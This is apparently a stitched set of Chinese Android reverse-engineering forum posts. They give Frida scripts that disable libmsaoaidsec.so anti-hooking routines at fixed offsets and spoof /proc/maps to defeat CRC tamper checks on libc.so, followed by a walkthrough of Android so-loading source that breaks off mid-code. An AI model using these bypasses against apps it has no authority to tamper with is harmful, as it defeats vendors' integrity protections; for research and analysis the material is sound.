\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | function hook_dlopen(){ / / Android8. 0 之后加载so通过android_dlopen_ext函数 var android_dlopen_ext = Module.findExportByName(null, \\"android_dlopen_ext\\" ); console.log( \\"addr_android_dlopen_ext\\" ,android_dlopen_ext); Interceptor.attach(android_dlopen_ext,{ onEnter:function(args){ var pathptr = args[ 0 ]; if (pathptr! = null && pathptr ! = undefined){ var path = ptr(pathptr).readCString(); if (path.indexOf( \\"libmsaoaidsec.so\\" )! = - 1 ){ console.log( \\"android_dlopen_ext:\\" ,path); hook_call_constructors() } } }, onLeave:function(retvel){ / / console.log( \\"leave!\\" ); } }) } function hook_call_constructors() { let linker = null; if (Process.pointerSize = = = 4 ) { linker = Process.findModuleByName( \\"linker\\" ); } else { linker = Process.findModuleByName( \\"linker64\\" ); } let call_constructors_addr, get_soname let symbols = linker.enumerateSymbols(); for (let index = 0 ; index < symbols.length; index + + ) { let symbol = symbols[index]; if (symbol.name = = = \\"__dl__ZN6soinfo17call_constructorsEv\\" ) { call_constructors_addr = symbol.address; } else if (symbol.name = = = \\"__dl__ZNK6soinfo10get_sonameEv\\" ) { get_soname = new NativeFunction(symbol.address, \\"pointer\\" , [ \\"pointer\\" ]); } } console.log(call_constructors_addr) var listener = Interceptor.attach(call_constructors_addr, { onEnter: function (args) { console.log( \\"hooked call_constructors\\" ) var module = Process.findModuleByName( \\"libmsaoaidsec.so\\" ) if (module ! = null) { Interceptor.replace(module.base.add( 0x1c544 ), new NativeCallback(function () { console.log( \\"0x1c544:替换成功\\" ) }, \\"void\\" , [])) Interceptor.replace(module.base.add( 0x1b8d4 ), new NativeCallback(function () { console.log( \\"0x1b8d4:替换成功\\" ) }, \\"void\\" , [])) Interceptor.replace(module.base.add( 0x26e5c ), new NativeCallback(function () { console.log( \\"0x26e5c:替换成功\\" ) }, \\"void\\" , [])) listener.detach() } }, }) } function main(){ hook_dlopen() } main() |
如下成功绕过了
nop函数
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | function nop_addr(addr) { Memory.protect(addr, 4 , \'rwx\' ); var w = new Arm64Writer(addr); w.putRet(); w.flush(); w.dispose(); } function hook_dlopen(){ / / Android8. 0 之后加载so通过android_dlopen_ext函数 var android_dlopen_ext = Module.findExportByName(null, \\"android_dlopen_ext\\" ); console.log( \\"addr_android_dlopen_ext\\" ,android_dlopen_ext); Interceptor.attach(android_dlopen_ext,{ onEnter:function(args){ var pathptr = args[ 0 ]; if (pathptr! = null && pathptr ! = undefined){ var path = ptr(pathptr).readCString(); if (path.indexOf( \\"libmsaoaidsec.so\\" )! = - 1 ){ console.log( \\"android_dlopen_ext:\\" ,path); hook_call_constructors() } } }, onLeave:function(retvel){ / / console.log( \\"leave!\\" ); } }) } function hook_call_constructors() { let linker = null; if (Process.pointerSize = = = 4 ) { linker = Process.findModuleByName( \\"linker\\" ); } else { linker = Process.findModuleByName( \\"linker64\\" ); } let call_constructors_addr, get_soname let symbols = linker.enumerateSymbols(); for (let index = 0 ; index < symbols.length; index + + ) { let symbol = symbols[index]; if (symbol.name = = = \\"__dl__ZN6soinfo17call_constructorsEv\\" ) { call_constructors_addr = symbol.address; } else if (symbol.name = = = \\"__dl__ZNK6soinfo10get_sonameEv\\" ) { get_soname = new NativeFunction(symbol.address, \\"pointer\\" , [ \\"pointer\\" ]); } } console.log(call_constructors_addr) var listener = Interceptor.attach(call_constructors_addr, { onEnter: function (args) { console.log( \\"hooked call_constructors\\" ) var module = Process.findModuleByName( \\"libmsaoaidsec.so\\" ) if (module ! = null) { nop_addr(module.base.add( 0x1c544 )) console.log( \\"0x1c544:替换成功\\" ) nop_addr(module.base.add( 0x1b8d4 )) console.log( \\"0x1b8d4:替换成功\\" ) nop_addr(module.base.add( 0x26e5c )) console.log( \\"0x26e5c:替换成功\\" ) listener.detach() } }, }) } function main(){ hook_dlopen() } main() |
如下也可以绕过
参考文章:
e66K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8X3#2n7d9Y4A6d9M7g2m8Q4x3X3b7H3j5V1N6K6K9g2c8I4M7o6k6S2d9W2y4m8k6H3`.`.
9a3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8W2u0&6d9X3W2t1M7W2y4a6y4p5y4g2z5g2q4x3d9X3W2@1b7K6N6f1M7h3M7`.
https://bbs.kanxue.com/thread-284816.htm
在开始之前先说下什么是crc检测,通俗点讲就是,把本地文件中的数据和内存中的数据进行crc计算得到的结果进行比较,来校验结果是否一致,不一致则判定数据被篡改。
举个例子:以libc.so为目标so,当我们第一次用frida以spwan的方式注入hook 时,未对libc.so的函数进行hook的话,app未退出,一旦我们对libc.so中的函数或指令进行了修改注入(不考虑inline hoook的因素影响),app便直接崩溃退出,这种情况基本就是检测到了数据被篡改,也就是crc检测。
基本的介绍到这里,下面开始对crc相关途径的检测进行分析,以及如何去绕过。
本次分析以libc.so为目标,以下的绕过都是用frida去处理。
app是我总结的一部分crc检测,会把链接放置在结尾。
frida版本: 16.5.9
目标app: LinkerDemo
分析so: libc.so
ELF工具:010Editor
arm平台: arm64
目前crc的检测大的方向分两种:
1.本地文件与所属app的/proc/{id}/maps文件中so的内存范围作比较
2.本地文件与linker中获取到的so的内存范围作比较
先说一下此校验方法的相关逻辑
描述:提取本地文件/apex/com.android.runtime/lib64/bionic/libc.so的可执行段数据和app在/proc/{id}/maps下映射的libc.so可执行段内存进行crc校验
获取可执行段表中的 p_offset(在文件中的偏移)和 p_filesz(在文件中的大小)。后续都是以这个为参照物与内存进行crc校验
(正常来说只有一行r-xp段,因为我使用了frida,所以会出现这种内存布局)
提取出里面带有x的内存段数据。
最后通过相关算法计算出两种途径获取到的内存结果进行比较。
算法一般都是crc32,当然个例可能会使用其他的算法,比如md5,aes等等,很少见的。
打开app,点击libc maps crc,可以在控制台看到如下输出:
此时我们的环境是正常的。接着我们用frida注入,对libc.so中的pthread_create方法进行hook,得到以下输出:
可以很明显的看出内存中可执行段的crc值与文件中可执行的不一致,并且检测出了环境是hook的。
针对上述的检测,我们可以在maps中模拟一段可执行段数据,并把libc.so原本的可执行段名称给抹去,变为匿名内存。最后app获取到的maps内存范围就是我们模拟的一段数据
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n17 \\n18 \\n19 \\n20 \\n21 \\n22 \\n23 \\n24 \\n25 \\n26 \\n27 \\n28 \\n29 \\n30 \\n31 \\n32 \\n33 \\n34 \\n35 \\n36 \\n37 \\n38 \\n39 \\n40 \\n41 \\n42 \\n43 \\n44 \\n45 \\n46 \\n47 \\n48 \\n49 \\n50 \\n51 \\n52 \\n53 \\n54 \\n55 \\n56 \\n57 \\n58 \\n59 \\n60 \\n61 \\n62 \\n63 \\n64 \\n65 \\n66 \\n67 \\n68 \\n69 \\n70 \\n71 \\n72 \\n73 \\n74 \\n75 \\n76 \\n | \\n\\n function hiddenSoExecSegmentInMaps(so_path) { \\n \\n / / / apex / com.android.runtime / lib64 / bionic / libc.so \\n\\n \\n let mmap_addr = Module.findExportByName( \\"libc.so\\" , \\"mmap\\" ); \\n\\n \\n let mmapFunc = new NativeFunction(mmap_addr, \'pointer\' , [ \'pointer\' , \'int\' , \'int\' , \'int\' , \'int\' , \'int\' ]) \\n\\n \\n let munmap_addr = Module.findExportByName( \\"libc.so\\" , \\"munmap\\" ); \\n\\n \\n let munmapFunc = new NativeFunction(munmap_addr, \'int\' , [ \'pointer\' , \'int\' ]) \\n\\n \\n let mremap_addr = Module.findExportByName( \\"libc.so\\" , \\"mremap\\" ); \\n\\n \\n let mremapFunc = new NativeFunction(mremap_addr, \'pointer\' , [ \'pointer\' , \'int64\' , \'int64\' , \'int64\' , \'pointer\' ]) \\n\\n \\n let open_addr = Module.findExportByName( \\"libc.so\\" , \\"open\\" ); \\n\\n \\n var openFunc = new NativeFunction(open_addr, \'int\' , [ \'pointer\' , \'int\' ]); \\n\\n \\n let memset_addr = Module.findExportByName( \\"libc.so\\" , \\"memset\\" ); \\n\\n \\n var memsetFunc = new NativeFunction(memset_addr, \'pointer\' , [ \'pointer\' , \'int\' , \'int\' ]) \\n\\n \\n let close_addr = Module.findExportByName( \\"libc.so\\" , \\"close\\" ); \\n\\n \\n var closeFunc = new NativeFunction(close_addr, \'int\' , [ \'int\' ]) \\n\\n \\n const parts = so_path.split( \'/\' ); \\n\\n \\n const so_name = parts.pop(); \\n\\n \\n let soExecSegmentRangeFromMaps = findSoExecSegmentRangeFromMaps(so_name); \\n\\n \\n let startAddress = soExecSegmentRangeFromMaps.base; \\n\\n \\n let size = soExecSegmentRangeFromMaps.size; \\n\\n \\n if (startAddress = = = 0 || size = = = 0 ) { \\n\\n \\n console.log( \\"可执行段未找到:\\" , startAddress, size) \\n\\n \\n return ; \\n\\n \\n } \\n\\n \\n let soExecSegmentFromFile = findSoExecSegmentFromFile(so_path); \\n\\n \\n / / 创建匿名内存,临时存储so可执行段内存 \\n\\n \\n let new_addr = mmapFunc(ptr( - 1 ), size, 7 , 0x20 | 2 , - 1 , 0 ); / / 0x20 :匿名内存标识符(MAP_ANONYMOUS), 2 :私有(MAP_PRIVATE) \\n\\n \\n console.log( \\"创建的可执行段匿名内存起始地址:\\" + new_addr); \\n\\n \\n / / 把so可执行段内存复制到创建的匿名内存中去 \\n\\n \\n Memory.copy(new_addr, startAddress, size); \\n\\n \\n console.log( \\"复制完毕\\" ) \\n\\n \\n / / 调整so,使传入的so可执行段内存变成匿名内存 \\n\\n \\n let ret = mremapFunc(new_addr, size, size, 1 | 2 , startAddress); \\n\\n \\n if (ret = = = - 1 ) { \\n\\n \\n console.log( \\"mremap 调整失败\\" ) \\n\\n \\n return ; \\n\\n \\n } \\n\\n \\n console.log( \\"匿名目标so可执行段完成 ret:\\" + ret) \\n\\n \\n / / 打开需要模拟的文件路径,用于后续在maps中生成指定名称的内存区域 \\n\\n \\n let moniter_path = so_path; \\n\\n \\n let moniter_path_addr = Memory.allocUtf8String(moniter_path); \\n\\n \\n var fd = openFunc(moniter_path_addr, 0 ); \\n\\n \\n if (fd = = = - 1 ) { \\n\\n \\n console.log( \\"open \\" + moniter_path + \\" is error\\" ) \\n\\n \\n return - 1 ; \\n\\n \\n } \\n\\n \\n / / 在maps中创建传入so路径名称的内存区域 \\n\\n \\n let target_addr = mmapFunc(ptr( - 1 ), size, 7 , 2 , fd, 0 ); \\n\\n \\n console.log( \\"模拟的可执行段内存起始地址:\\" + target_addr); \\n\\n \\n closeFunc(fd) \\n\\n \\n / / 给创建的so内存区域全部置 0 \\n\\n \\n memsetFunc(target_addr, 0 , size); \\n\\n \\n / / 把so文件中获取的可执行段内存复制到创建的so名称的内存区域中 \\n\\n \\n Memory.copy(target_addr, soExecSegmentFromFile.start, soExecSegmentFromFile.size) \\n\\n \\n Memory.protect(target_addr, size, \\"r-x\\" ); \\n\\n \\n / / 卸载映射的匿名内存 \\n\\n \\n / / munmapFunc(new_addr, size); \\n\\n \\n console.log( \\"maps中隐藏可执行段完成\\" ) \\n} | \\n
注入上述代码后再次点击按钮看控制台输出:
可以看到两种方式获取到的值一致了,环境也是安全的了。
这里面主要使用到了mmap在maps中映射一段名称为libc.so的数据,用mremap把原本的可执行段数据给设置为匿名内存
这里就可以看到maps中libc.so的可执行段已设置为匿名内存,并且map中也有我们模拟的可执行段内存。
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
\\n\\n\\n\\n\\n上传的附件:\\n在安卓中的app进行so加载过程中,分析一下so的动态静态的so加载过程
\\n在 Android 中,.so
文件是 共享库文件,.so
文件可以分为 动态链接库(动态 .so
文件)和 静态链接库(静态 .a
文件),但 Android 中一般更常见的是动态 .so
文件,静态链接库通常在编译时被集成到最终的应用中,而不直接加载。所以经常看到的so文件的链接大多是都是以动态链接的
动态链接会利用对应的打包的生成的APK,按照对应的架构(lib/armeabi-v7a/,lib/arm64-v8a/,lib/x86/,lib/x86_64/)去选择对应的so文件,然后去实现在 Java 层,通过 JNI 来进行。
\\nJava 代码使用 静态System.loadLibrary(\\"libsofile\\")
来加载共享库文件。
1 2 3 | static { System.loadLibrary(\\"libsofile); // 加载libsofile.so } |
或者通过动态加载路径的so文件的过程来实现
\\n1 2 | String soPath = \\"/data/data/com.example.libsofile/libsofile.so\\" ; System.load(soPath); |
在 Android 中,静态链接库(.a
文件)是被链接到最终的可执行文件中的,而不是在运行时加载。Android NDK 编译时,静态库会被打包到 APK 中的应用代码部分。
我们要去探究SO文件最真实的加载过程就要从System.load(sopath)这里开始,去剖析安卓源码
\\n\\nSystem.load(sopath)开始进行解析,查看整个so文件加载过程
\\n1 2 3 4 | @CallerSensitive public static void load(String filename) { Runtime.getRuntime().load0(Reflection.getCallerClass(), filename); } |
先解释一下这里的情况Reflection.getCallerClass()
通过反射机制获取调用此方法的类的引用。它返回的是调用 load0
方法的 调用者类。这里加载到了直接去加载了load0函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | //libcore/ojluni/src/main/java/java/lang/Runtime.java synchronized void load0(Class<?> fromClass, String filename) { File file = new File(filename); if (!(file.isAbsolute())) { throw new UnsatisfiedLinkError( \\"Expecting an absolute path of the library: \\" + filename); } if (filename == null ) { throw new NullPointerException( \\"filename == null\\" ); } if (Flags.readOnlyDynamicCodeLoad()) { if (!file.toPath().getFileSystem().isReadOnly() && file.canWrite()) { if (VMRuntime.getSdkVersion() >= VersionCodes.VANILLA_ICE_CREAM) { System.logW( \\"Attempt to load writable file: \\" + filename + \\". This will throw on a future Android version\\" ); } } } String error = nativeLoad(filename, fromClass.getClassLoader(), fromClass); if (error != null ) { throw new UnsatisfiedLinkError(error); } } |
在这里去检测了对应加载过程中的sofile。然后就开始往nativeLoad函数走了
\\n
这里直接是naitve函数了,我们要去看对应的c文件,所以要重新去搜索了,这里的搜索方法就是类名_函数名的形式,转换过程就是Runtime_nativeLoad函数
\\n1 2 3 4 5 6 | JNIEXPORT jstring JNICALL Runtime_nativeLoad(JNIEnv* env, jclass ignored, jstring javaFilename, jobject javaLoader, jclass caller) { return JVM_NativeLoad(env, javaFilename, javaLoader, caller); } |
这里是最正常的返回,直接走 JVM_NativeLoad(env, javaFilename, javaLoader, caller)
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | JNIEXPORT jstring JVM_NativeLoad(JNIEnv* env, jstring javaFilename, jobject javaLoader, jclass caller) { ScopedUtfChars filename(env, javaFilename); if (filename.c_str() == nullptr) { return nullptr; } std::string error_msg; { art::JavaVMExt* vm = art::Runtime::Current()->GetJavaVM(); bool success = vm->LoadNativeLibrary(env, filename.c_str(), javaLoader, caller, &error_msg); if (success) { return nullptr; } } // Don\'t let a pending exception from JNI_OnLoad cause a CheckJNI issue with NewStringUTF. env->ExceptionClear(); return env->NewStringUTF(error_msg.c_str()); } |
同样得直接向下去分析就好了 vm->LoadNativeLibrary函数
\\n
这里的大多数的函数都是对于so加载中的中途函数,也就是一层一层得调用到关键函数的,所以这里直接往下走就是了
\\n在 JavaVMExt::LoadNativeLibrary这个函数中有需要去注意和理解的地方,同时这里也是在进行调用dlopen来进行真正so文件加载的地方。
\\n
1 2 3 4 5 6 7 8 9 10 11 12 | ClassLinker* class_linker = Runtime::Current()->GetClassLinker(); if (class_linker->IsBootClassLoader(loader)) { loader = nullptr; class_loader = nullptr; } if (caller_class != nullptr) { ObjPtr<mirror::Class> caller = soa.Decode<mirror::Class>(caller_class); ObjPtr<mirror::DexCache> dex_cache = caller->GetDexCache(); if (dex_cache != nullptr) { caller_location = dex_cache->GetLocation()->ToModifiedUtf8(); } } |
首先是这里的Linker的位置,这里去解码了 ClassLoader 和 Caller Class 信息,同时去判断了加载器是否为 BootClassLoader
。其实在so加载过程也有借助linker判断so文件结构,链接的位置则是so文件的头部,判断的是so文件结构是否正确。
这里也去判断了这里加载的so文件是否以及被加载过了,最后开始的对于共享库so的加载(dlopen)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | Locks::mutator_lock_->AssertNotHeld(self); const char * path_str = path.empty() ? nullptr : path.c_str(); bool needs_native_bridge = false ; char * nativeloader_error_msg = nullptr; void * handle = android::OpenNativeLibrary( env, runtime_->GetTargetSdkVersion(), path_str, class_loader, (caller_location.empty() ? nullptr : caller_location.c_str()), library_path.get(), &needs_native_bridge, &nativeloader_error_msg); VLOG(jni) << \\"[Call to dlopen(\\\\\\"\\" << path << \\"\\\\\\", RTLD_NOW) returned \\" << handle << \\"]\\" ; if (handle == nullptr) { *error_msg = nativeloader_error_msg; android::NativeLoaderFreeErrorMessage(nativeloader_error_msg); VLOG(jni) << \\"dlopen(\\\\\\"\\" << path << \\"\\\\\\", RTLD_NOW) failed: \\" << *error_msg; return false ; |
在这里开始找到了我们最为熟悉的 android_dlopen_ext(path, RTLD_NOW, &dlextinfo);函数,也就是经常进行HOOK的位置了
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | //art/libnativeloader/native_loader.cpp void * OpenNativeLibrary(JNIEnv* env, int32_t target_sdk_version, const char * path, jobject class_loader, const char * caller_location, jstring library_path_j, bool * needs_native_bridge, char ** error_msg) { #if defined(ART_TARGET_ANDROID) if (class_loader == nullptr) { // class_loader is null only for the boot class loader (see // IsBootClassLoader call in JavaVMExt::LoadNativeLibrary), i.e. the caller // is in the boot classpath. *needs_native_bridge = false ; if (caller_location != nullptr) { std::optional<NativeLoaderNamespace> ns = FindApexNamespace(caller_location); if (ns.has_value()) { const android_dlextinfo dlextinfo = { .flags = ANDROID_DLEXT_USE_NAMESPACE, .library_namespace = ns.value().ToRawAndroidNamespace(), }; void * handle = android_dlopen_ext(path, RTLD_NOW, &dlextinfo); char * dlerror_msg = handle == nullptr ? strdup(dlerror()) : nullptr; ALOGD( \\"Load %s using APEX ns %s for caller %s: %s\\" , path, ns.value().name().c_str(), caller_location, dlerror_msg == nullptr ? \\"ok\\" : dlerror_msg); if (dlerror_msg != nullptr) { *error_msg = dlerror_msg; } return handle; } } |
在android12中会直接由 android_dlopen_ext直接返回到 __loader_android_dlopen_ext函数,而在其他版本可以会到 mock->mock_dlopen_ext(这里会走到mock_dlopen_ext
会模拟 dlopen
的行为,同时通过flag和宏定义走到不同的函数位置)
这里我们固定在android12的位置去实现。
\\n1 2 3 4 5 6 | void * __loader_android_dlopen_ext( const char * filename, int flags, const android_dlextinfo* extinfo, const void * caller_addr) { return dlopen_ext(filename, flags, extinfo, caller_addr); } |
直接的返回进入下一个函数。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 | //bionic/linker/dlfcn.cpp static void * dlopen_ext( const char * filename, int flags, const android_dlextinfo* extinfo, const void * caller_addr) { ScopedPthreadMutexLocker locker(&g_dl_mutex); g_linker_logger.ResetState(); void * result = do_dlopen(filename, flags, extinfo, caller_addr); if (result == nullptr) { __bionic_format_dlerror( \\"dlopen failed\\" , linker_get_error_buffer()); return nullptr; } return result; } |
同样进入do_dlopen(filename, flags, extinfo, caller_addr)
\\n在这个函数中附加了很多对于do_dlopen函数参数的检测和判断
\\n
这种大面积的对于extinfo,对于so文件相关的属性进行的检测。
\\n
通过还对于这里的path进行了对应路径的转换和翻译。
\\n
1 2 3 | ProtectedDataGuard guard; soinfo* si = find_library(ns, translated_name, flags, extinfo, caller); loading_trace.End(); |
这里是对于do_dlopen最为重要的位置,也就是在这里去实现了对于soinfo的初始化,也就是在这开始调用so的.init_proc函数,接着调用.init_array中的函数,最后才是JNI_OnLoad函数。在很多的so文件的检测点判断中很多人也会利用这里的位置对于检测点是在JNI_OnLoad函数之前还是之后的判断依据。
\\n继续去往find_library(ns, translated_name, flags, extinfo, caller)
\\n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | static soinfo* find_library(android_namespace_t* ns, const char * name, int rtld_flags, const android_dlextinfo* extinfo, soinfo* needed_by) { soinfo* si = nullptr; if (name == nullptr) { si = solist_get_somain(); } else if (!find_libraries(ns, needed_by, &name, 1, &si, nullptr, 0, rtld_flags, extinfo, false /* add_as_children */ )) { if (si != nullptr) { soinfo_unload(si); } return nullptr; } si->increment_ref_count(); return si; } |
这里直接往find_libraries里面就可以了
\\n这个函数就是在so文件加载执行流程的最后了
\\n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 | bool find_libraries(android_namespace_t* ns, soinfo* start_with, const char * const library_names[], size_t library_names_count, soinfo* soinfos[], std::vector<soinfo*>* ld_preloads, size_t ld_preloads_count, int rtld_flags, const android_dlextinfo* extinfo, bool add_as_children, std::vector<android_namespace_t*>* namespaces) { // Step 0: prepare. std::unordered_map< const soinfo*, ElfReader> readers_map; LoadTaskList load_tasks; for ( size_t i = 0; i < library_names_count; ++i) { const char * name = library_names[i]; load_tasks.push_back(LoadTask::create(name, start_with, ns, &readers_map)); } // If soinfos array is null allocate one on stack. // The array is needed in case of failure; for example // when library_names[] = {libone.so, libtwo.so} and libone.so // is loaded correctly but libtwo.so failed for some reason. // In this case libone.so should be unloaded on return. // See also implementation of failure_guard below. if (soinfos == nullptr) { size_t soinfos_size = sizeof (soinfo*)*library_names_count; soinfos = reinterpret_cast <soinfo**>(alloca(soinfos_size)); memset (soinfos, 0, soinfos_size); } // list of libraries to link - see step 2. size_t soinfos_count = 0; auto scope_guard = android::base::make_scope_guard([&]() { for (LoadTask* t : load_tasks) { LoadTask::deleter(t); } }); ZipArchiveCache zip_archive_cache; soinfo_list_t new_global_group_members; // Step 1: expand the list of load_tasks to include // all DT_NEEDED libraries (do not load them just yet) for ( size_t i = 0; i<load_tasks.size(); ++i) { LoadTask* task = load_tasks[i]; soinfo* needed_by = task->get_needed_by(); bool is_dt_needed = needed_by != nullptr && (needed_by != start_with || add_as_children); task->set_extinfo(is_dt_needed ? nullptr : extinfo); task->set_dt_needed(is_dt_needed); // Note: start from the namespace that is stored in the LoadTask. This namespace // is different from the current namespace when the LoadTask is for a transitive // dependency and the lib that created the LoadTask is not found in the // current namespace but in one of the linked namespaces. android_namespace_t* start_ns = const_cast <android_namespace_t*>(task->get_start_from()); LD_LOG(kLogDlopen, \\"find_library_internal(ns=%s@%p): task=%s, is_dt_needed=%d\\" , start_ns->get_name(), start_ns, task->get_name(), is_dt_needed); if (!find_library_internal(start_ns, task, &zip_archive_cache, &load_tasks, rtld_flags)) { return false ; } soinfo* si = task->get_soinfo(); if (is_dt_needed) { needed_by->add_child(si); } // When ld_preloads is not null, the first // ld_preloads_count libs are in fact ld_preloads. bool is_ld_preload = false ; if (ld_preloads != nullptr && soinfos_count < ld_preloads_count) { ld_preloads->push_back(si); is_ld_preload = true ; } if (soinfos_count < library_names_count) { soinfos[soinfos_count++] = si; } // Add the new global group members to all initial namespaces. Do this secondary namespace setup // at the same time that libraries are added to their primary namespace so that the order of // global group members is the same in the every namespace. Only add a library to a namespace // once, even if it appears multiple times in the dependency graph. if (is_ld_preload || (si->get_dt_flags_1() & DF_1_GLOBAL) != 0) { if (!si->is_linked() && namespaces != nullptr && !new_global_group_members.contains(si)) { new_global_group_members.push_back(si); for ( auto linked_ns : *namespaces) { if (si->get_primary_namespace() != linked_ns) { linked_ns->add_soinfo(si); si->add_secondary_namespace(linked_ns); } } } } } // Step 2: Load libraries in random order (see b/24047022) LoadTaskList load_list; for ( auto && task : load_tasks) { soinfo* si = task->get_soinfo(); auto pred = [&]( const LoadTask* t) { return t->get_soinfo() == si; }; if (!si->is_linked() && std::find_if(load_list.begin(), load_list.end(), pred) == load_list.end() ) { load_list.push_back(task); } } bool reserved_address_recursive = false ; if (extinfo) { reserved_address_recursive = extinfo->flags & ANDROID_DLEXT_RESERVED_ADDRESS_RECURSIVE; } if (!reserved_address_recursive) { // Shuffle the load order in the normal case, but not if we are loading all // the libraries to a reserved address range. shuffle(&load_list); } // Set up address space parameters. address_space_params extinfo_params, default_params; size_t relro_fd_offset = 0; if (extinfo) { if (extinfo->flags & ANDROID_DLEXT_RESERVED_ADDRESS) { extinfo_params.start_addr = extinfo->reserved_addr; extinfo_params.reserved_size = extinfo->reserved_size; extinfo_params.must_use_address = true ; } else if (extinfo->flags & ANDROID_DLEXT_RESERVED_ADDRESS_HINT) { extinfo_params.start_addr = extinfo->reserved_addr; extinfo_params.reserved_size = extinfo->reserved_size; } } for ( auto && task : load_list) { address_space_params* address_space = (reserved_address_recursive || !task->is_dt_needed()) ? &extinfo_params : &default_params; if (!task->load(address_space)) { return false ; } } // The WebView loader uses RELRO sharing in order to promote page sharing of the large RELRO // segment, as it\'s full of C++ vtables. Because MTE globals, by default, applies random tags to // each global variable, the RELRO segment is polluted and unique for each process. In order to // allow sharing, but still provide some protection, we use deterministic global tagging schemes // for DSOs that are loaded through android_dlopen_ext, such as those loaded by WebView. bool dlext_use_relro = extinfo && extinfo->flags & (ANDROID_DLEXT_WRITE_RELRO | ANDROID_DLEXT_USE_RELRO); // Step 3: pre-link all DT_NEEDED libraries in breadth first order. bool any_memtag_stack = false ; for ( auto && task : load_tasks) { soinfo* si = task->get_soinfo(); if (!si->is_linked() && !si->prelink_image(dlext_use_relro)) { return false ; } // si->memtag_stack() needs to be called after si->prelink_image() which populates // the dynamic section. if (si->memtag_stack()) { any_memtag_stack = true ; LD_LOG(kLogDlopen, \\"... load_library requesting stack MTE for: realpath=\\\\\\"%s\\\\\\", soname=\\\\\\"%s\\\\\\"\\" , si->get_realpath(), si->get_soname()); } register_soinfo_tls(si); } if (any_memtag_stack) { if ( auto * cb = __libc_shared_globals()->memtag_stack_dlopen_callback) { cb(); } else { // find_library is used by the initial linking step, so we communicate that we // want memtag_stack enabled to __libc_init_mte. __libc_shared_globals()->initial_memtag_stack_abi = true ; } } // Step 4: Construct the global group. DF_1_GLOBAL bit is force set for LD_PRELOADed libs because // they must be added to the global group. Note: The DF_1_GLOBAL bit for a library is normally set // in step 3. if (ld_preloads != nullptr) { for ( auto && si : *ld_preloads) { si->set_dt_flags_1(si->get_dt_flags_1() | DF_1_GLOBAL); } } // Step 5: Collect roots of local_groups. // Whenever needed_by->si link crosses a namespace boundary it forms its own local_group. // Here we collect new roots to link them separately later on. Note that we need to avoid // collecting duplicates. Also the order is important. They need to be linked in the same // BFS order we link individual libraries. std::vector<soinfo*> local_group_roots; if (start_with != nullptr && add_as_children) { local_group_roots.push_back(start_with); } else { CHECK(soinfos_count == 1); local_group_roots.push_back(soinfos[0]); } for ( auto && task : load_tasks) { soinfo* si = task->get_soinfo(); soinfo* needed_by = task->get_needed_by(); bool is_dt_needed = needed_by != nullptr && (needed_by != start_with || add_as_children); android_namespace_t* needed_by_ns = is_dt_needed ? needed_by->get_primary_namespace() : ns; if (!si->is_linked() && si->get_primary_namespace() != needed_by_ns) { auto it = std::find(local_group_roots.begin(), local_group_roots.end(), si); LD_LOG(kLogDlopen, \\"Crossing namespace boundary (si=%s@%p, si_ns=%s@%p, needed_by=%s@%p, ns=%s@%p, needed_by_ns=%s@%p) adding to local_group_roots: %s\\" , si->get_realpath(), si, si->get_primary_namespace()->get_name(), si->get_primary_namespace(), needed_by == nullptr ? \\"(nullptr)\\" : needed_by->get_realpath(), needed_by, ns->get_name(), ns, needed_by_ns->get_name(), needed_by_ns, it == local_group_roots.end() ? \\"yes\\" : \\"no\\" ); if (it == local_group_roots.end()) { local_group_roots.push_back(si); } } } // Step 6: Link all local groups for ( auto root : local_group_roots) { soinfo_list_t local_group; android_namespace_t* local_group_ns = root->get_primary_namespace(); walk_dependencies_tree(root, [&] (soinfo* si) { if (local_group_ns->is_accessible(si)) { local_group.push_back(si); return kWalkContinue; } else { return 